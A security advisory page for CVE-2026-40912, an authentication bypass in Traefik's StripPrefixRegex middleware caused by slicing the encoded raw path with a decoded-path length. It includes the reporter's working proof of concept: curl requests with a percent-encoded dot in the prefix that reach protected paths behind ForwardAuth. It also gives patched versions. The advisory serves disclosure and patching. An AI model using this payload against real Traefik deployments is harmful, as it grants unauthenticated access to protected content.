GHSA-6JWX-7VP4-9847

Vulnerability from github – Published: 2026-04-24 16:37 – Updated: 2026-07-21 13:44
VLAI
Summary
Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync
Details

Summary

There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.

The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).

ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content

An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.43
  • https://github.com/traefik/traefik/releases/tag/v3.6.14
  • https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description ### Summary StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content. ### Details `pkg/middlewares/stripprefixregex/strip_prefix_regex.go`, line 62: ```go req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])

  prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is
  present.

  Example with regex ^/api:

  - GET /api%20/admin/secret
  - Decoded Path: /api /admin/secret -> prefix = /api (4 bytes)
  - Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes
  - RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret
  - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/* -> allows it
  - Backend serves the protected admin content

  PoC

  Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses
  auth, 200, returns protected data). Can share the files here if useful.

  Impact

  Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a
  percent-encoded character to the prefix portion of the URL.

---

### Updated PoC (reporter follow-up)

After further testing, the confirmed working exploit uses `%2e` (percent-encoded dot) rather than `%20`. Dot-segment normalization (`/./` -> `/`) is RFC 3986 standard behavior handled automatically by Express.js, Go's `http.ServeMux`, Spring Boot, and others — no custom configuration needed.

Chain:

GET /api%2e/admin/secret -> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret -> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows -> Express normalizes /./admin/secret -> /admin/secret -> serves protected content

Results (Traefik v3.6, unmodified Express.js express.static):

GET /api/admin/secret -> 403 (blocked) GET /api%2e/admin/secret -> 200 (bypass — served protected content) GET /api%20/admin/secret -> 404 (space not normalized by backend)

Auth server logs:

X-Forwarded-Uri: '/admin/secret' -> DENIED X-Forwarded-Uri: '/./admin/secret' -> ALLOWED

Reproduction:

```bash
docker compose up -d --build --wait
curl http://localhost:8080/api/admin/secret                       # -> 403
curl --path-as-is "http://localhost:8080/api%2e/admin/secret"     # -> 200

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0-ea.1"
            },
            {
              "fixed": "3.7.0-rc.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-beta1"
            },
            {
              "fixed": "3.6.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.43"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-706"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T16:37:53Z",
    "nvd_published_at": "2026-04-30T21:16:32Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity authentication bypass vulnerability in Traefik\u0027s `StripPrefixRegex` middleware when used in combination with `ForwardAuth`, `BasicAuth`, or `DigestAuth`.\n\nThe middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. `/./admin/secret`).\n\n`ForwardAuth` receives this dot-segment path in `X-Forwarded-Uri`, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content\n\n An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\n  StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then\n  receives this wrong path in X-Forwarded-Uri, sees a path that doesn\u0027t match its protection rules, and approves the request. The backend serves protected content.\n\n ### Details\n\n  `pkg/middlewares/stripprefixregex/strip_prefix_regex.go`, line 62:\n\n  ```go\n  req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])\n```\n\n  prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don\u0027t match when percent-encoding is\n  present.\n\n  Example with regex ^/api:\n\n  - GET /api%20/admin/secret\n  - Decoded Path: /api /admin/secret -\u003e prefix = /api (4 bytes)\n  - Encoded RawPath: /api%20/admin/secret -\u003e same region is 6 bytes\n  - RawPath[4:] = %20/admin/secret -\u003e after ensureLeadingSlash -\u003e /%20/admin/secret\n  - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -\u003e not /admin/* -\u003e allows it\n  - Backend serves the protected admin content\n\n  PoC\n\n  Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses\n  auth, 200, returns protected data). Can share the files here if useful.\n\n  Impact\n\n  Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a\n  percent-encoded character to the prefix portion of the URL.\n\n---\n\n### Updated PoC (reporter follow-up)\n\nAfter further testing, the confirmed working exploit uses `%2e` (percent-encoded dot) rather than `%20`. Dot-segment normalization (`/./` -\u003e `/`) is RFC 3986 standard behavior handled automatically by Express.js, Go\u0027s `http.ServeMux`, Spring Boot, and others \u2014 no custom configuration needed.\n\nChain:\n\n```\nGET /api%2e/admin/secret\n-\u003e StripPrefixRegex strips /api -\u003e RawPath becomes /./admin/secret\n-\u003e ForwardAuth sees /./admin/secret -\u003e does not match /admin/ -\u003e allows\n-\u003e Express normalizes /./admin/secret -\u003e /admin/secret -\u003e serves protected content\n```\n\nResults (Traefik v3.6, unmodified Express.js express.static):\n\n```\nGET /api/admin/secret      -\u003e 403 (blocked)\nGET /api%2e/admin/secret   -\u003e 200 (bypass \u2014 served protected content)\nGET /api%20/admin/secret   -\u003e 404 (space not normalized by backend)\n```\n\nAuth server logs:\n\n```\nX-Forwarded-Uri: \u0027/admin/secret\u0027    -\u003e DENIED\nX-Forwarded-Uri: \u0027/./admin/secret\u0027  -\u003e ALLOWED\n```\n\nReproduction:\n\n```bash\ndocker compose up -d --build --wait\ncurl http://localhost:8080/api/admin/secret                       # -\u003e 403\ncurl --path-as-is \"http://localhost:8080/api%2e/admin/secret\"     # -\u003e 200\n```\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-6jwx-7vp4-9847",
  "modified": "2026-07-21T13:44:35Z",
  "published": "2026-04-24T16:37:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-6jwx-7vp4-9847"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40912"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21772"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-40912"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2464229"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.43"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40912.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.